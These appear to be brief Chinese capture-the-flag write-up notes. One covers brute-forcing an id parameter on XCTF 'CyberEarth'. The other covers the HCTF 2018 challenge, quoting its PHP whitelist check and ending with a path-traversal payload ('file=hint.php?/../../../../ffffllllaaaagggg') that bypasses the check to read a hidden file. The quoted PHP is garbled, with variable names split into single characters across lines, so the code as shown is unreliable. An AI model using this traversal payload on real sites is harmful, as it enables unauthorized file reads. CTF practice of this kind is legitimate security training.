XCTF 4th-CyberEarth
打开之后乱点,点到报表中心的时候连接到一个新网址
连接到id=1这里
抓包爆破
得到flag
HCTF 2018
审查源码发现有一个source.php
打开
有一个hint.php打开之后是
flag not here, and flag in ffffllllaaaagggg
在代码审核,关键代码
检查是否为空,是不是字符,在使用检测函数检测·
$whitelist = [“source”=>“source.php”,“hint”=>“hint.php”];//白名单
if (! isset(
p
a
g
e
)
∣
∣
!
i
s
s
t
r
i
n
g
(
page) || !is_string(
page)∣∣!isstring(page)) {
echo “you can’t see it”;
return false;
}
//白名单检测
if (in_array($page, $whitelist)) {
return true;
}
//取传进参数首次出现?前的部分,进行白名单检测
$_page = mb_substr(
p
a
g
e
,
0
,
m
b
s
t
r
p
o
s
(
page, 0, mb_strpos(
page,0,mbstrpos(page . ‘?’, ‘?’)
);
if (in_array($_page, $whitelist)) {
return true;
}
//对传参进行url解码,在取传进参数首次出现?前的部分,进行白名单检测
p
a
g
e
=
u
r
l
d
e
c
o
d
e
(
_page = urldecode(
page=urldecode(page);
$_page = mb_substr(
p
a
g
e
,
0
,
m
b
s
t
r
p
o
s
(
_page, 0, mb_strpos(
page,0,mbstrpos(_page . ‘?’, ‘?’)
);
if (in_array($_page, $whitelist)) {
return true;
}
echo “you can’t see it”;
return false;
}
构造payload
file=hint.php?/…/…/…/…/ffffllllaaaagggg